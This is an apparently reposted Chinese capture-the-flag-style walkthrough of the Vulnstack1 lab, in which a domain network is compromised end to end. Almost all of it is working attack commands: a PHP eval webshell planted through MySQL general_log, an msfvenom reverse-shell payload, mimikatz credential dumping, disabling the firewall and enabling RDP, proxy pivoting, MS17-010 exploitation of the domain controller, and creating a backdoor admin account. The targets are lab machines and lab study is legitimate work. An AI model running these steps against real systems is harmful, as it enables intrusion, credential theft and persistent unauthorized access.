IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 渗透测试之Vulnstack1内网域渗透 -> 正文阅读

[PHP知识库]渗透测试之Vulnstack1内网域渗透

声明

首先感谢靶机作者,此靶机对新手非常友好,非常适合我这种新手学习!

本文getshell采用sql写入shell,也可使用后台模板注入shell,后渗透阶段主要使用MSF。

前期信息收集

使用dirsearch扫描目录

python dirsearch.py -u http://192.168.234.177/ ?-i 200,301

?发现备份文件 beifen.rar? ?和? phpmyadmin

使用 Nmap 扫描端口

访问目标网站 直接给出了php探针

php探针

使用 root :root 弱口令测试 竟然返回正常

?

访问 phpmyadmin??弱口令直接打进去

?可以执行sql语句

?mysql日志写shell

要利用sql写shell就需要在配置中满足以下条件:

  1. 在mysql的配置文件my.ini中,secure_file_priv为空(被注释掉或不填)或者secure_file_priv配置是目录地址。
  2. 未开启全局GPC

关于mysql的secure_file_priv属性
当secure_file_priv为空时,mysql对导入导出文件是没有限制的
当secure_file_priv为目录地址时,mysql可以在目录位置下进行导入导出操作
当secure_file_priv为NULL时,mysql就不能进行导入导出操作
使用sql语句select @@secure_file_priv查询参数的内容,判断该数据是否可以进行导入导出操作。

?

竟然返回NULL 写入不了;写入受限制就要绕限制

终于 铁树开花!? 在墨者学院 找到了方法 (刚好此时是root权限)

?照虎画龙? ?一顿操作

show variables like '%general%'; 
set global general_log = on; #

3.set global general_log_file = "c:\\phpstudy\\WWW\\123.php"#要用两个斜杠,第一个是转义符

4.select ‘<?php eval($_POST[cmd]);?>’ 

后渗透

使用msfvenom 生成马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.234.130 LPORT=4444  -e x64/xor_dynamic   -f exe -o shell.exe

MSF开启监听?

use exploit/multi/handler                       使用监听模块
set payload windows/meterpreter/reverse_tcp     设置payload 与生成马参数要相同
set lhost 192.168.234.130                       监听本地ip
set lport 4444                                  监听本地端口4444
run                                             运行

?在AntSword 上运行马子? 弹回shell

后渗透攻击

getuid 查看当前权限? ? ? ? getsystem? 自动提取

ps查看进程? ? ? ? ? ? ?

? migrate? [PID]? 迁移进程

使用mimikatz抓密码(MSF中kiwi就是mimikatz)

load kiwi? ?载入模块

help kiwi? ??

creds_all:             #列举所有凭据
creds_kerberos:        #列举所有kerberos凭据
creds_msv:             #列举所有msv凭据
creds_ssp:             #列举所有ssp凭据
creds_tspkg:           #列举所有tspkg凭据
creds_wdigest:         #列举所有wdigest凭据
dcsync:                #通过DCSync检索用户帐户信息
dcsync_ntlm:           #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:  #创建黄金票据
kerberos_ticket_list:  #列举kerberos票据
kerberos_ticket_purge: #清除kerberos票据
kerberos_ticket_use:   #使用kerberos票据
kiwi_cmd:              #执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:          #dump出lsa的SAM
lsa_dump_secrets:      #dump出lsa的密文
password_change:       #修改密码
wifi_list:             #列出当前用户的wifi配置文件
wifi_list_shared:      #列出共享wifi配置文件/编码

?使用 creds_all? ?得到Administrator 密码

查看目标主机补丁信息

run post/windows/gather/enum_patches


查看目标主机安装软件信息

run post/windows/gather/enum_applications

?进入shell查看防火墙状态

netsh firewall show state

关闭防火墙

netsh firewall set opmode disable	            #Windows Server 2003 系统及之前版本
netsh advfirewall set allprofiles state off		#Windows Server 2003 之后系统版本

查看3389是否开放(返回空代表没有开放)

开启远程桌面

run getgui -e 
run post/windows/manage/enable_rdp #两个都可以

在shell下使用以下命令也可
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f	# 允许 3389 端口放行

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow # 允许 3389 端口放行

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1                                                             #wmic 放行3389端口

?远程连接

用抓到的密码远程连接成功? 但是会把靶机的账户挤出去


内网渗透(信息收集、横向移动)

ipconfig /all   # 查看本机ip,所在域
route print     # 打印路由信息
net view        # 查看局域网内其他主机名
arp -a          # 查看arp缓存
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享
net share ipc$  # 开启ipc共享
net share c$    # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:""    # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名"    # 建立c盘共享
dir \\192.168.xx.xx\c$\user    # 查看192.168.xx.xx c盘user目录下的文件

net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators    # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器(可能有多台)
net time /domain        #查看时间服务器,判断主域,主域服务器都做时间服务器
net user /domain        #查看域用户
net view /domain        #查看有几个域
ipconfig /all        #查询本机IP段,所在域等 
net config Workstation  #当前计算机名,全名,用户名,系统版本,工作站域,登陆域 
net user           #本机用户列表
net group "domain computers" /domain   #查看域内所有的主机名 
net group "domain admins" /domain      #查看域管理员 
net group "domain controllers" /domain #查看域控
内网收集结果
192.168.52.138  为域控
192.168.52.141  域成员

内网ip?

使用msf添加路由

run autoroute -s 192.168.52.0         #添加192.168.52.0网段路由

run autoroute -p                      #查看路由

使用端口扫描模块扫描52网段

use  auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.0/24
run 

??结果非常的漫长.......? 不想等待了

使用代理模块

sock4+proxychains4代理+nmap扫描

use auxiliary/server/socks_proxy 
options
set srvhost 192.168.234.130
set srvport 1080
set version 4a

配置proxychains4文件? 修改kali /etc/proxychains4.conf文件?(在最后一行添加)?

进入msf的shell里使用cmd命令遍历存活主机(对192.168.52.I进行ping(I在1-254之前,每次+1),如果结果返回有TTL就打印IP)

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

三个存活ip?

?代理下使用namp扫描 (可以在msf会话中直接使用namp;因为目标主机有;我操作的时候没想起来。。。)

proxychains4 nmap -Pn -sT 192.168.52.138

192.168.52.138 端口开放情况 (135、139)端口? 这里3389端口是我后来开放的

目标开启135、139端口 我ms17010首当其冲!

内网攻击

使用ms17-010漏洞分析模块

use auxiliary/scanner/smb/smb_ms17_010 
set rhost 192.168.52.138
run

?可能存在MS17-010

use auxiliary/admin/smb/ms17_010_command
options
set command whoami
set rhosts 192.168.52.138
run

?可以执行命令并且返回system权限;

使用sm17010攻击模块

? 遗憾的是无法弹回shell...

use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.52.138
run

回到ms17_010_command模块 set命令开启3389端口、关闭防火墙

set command netstat -ano | findstr "3389"
set command REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
set command netsh firewall show state
set command netsh advfirewall set allprofiles state off	

可以使用msf的post/windows/manage/enable_rdp模块开启

use post/windows/manage/enable_rdp
options
set session 2
run

?添加用户进行远程连接

net user black black@2022 /add ? ? ?新建用户
net user ? ? ? ? 查看用户
net localgroup administrators black /add ? ?用户添加进管理员
net localgroup administrators ? ? ?查看管理员组成员

使用exploit/windows/smb/ms17_010_psexec 尝试打一个正向shell回来

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set lport     2222             
set rhost     192.168.52.138
run

成功返回!!

得到SYSTEM权限

同样的方法攻击141 打了个蓝屏....

至此

目标主机及内网主机全部被拿下甚至全是SYSTEM权限。(这小子真虚伪)

写在最后

感谢阅读!

本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-05-02 13:24:11  更:2022-05-02 13:24:20 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 20:53:33-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码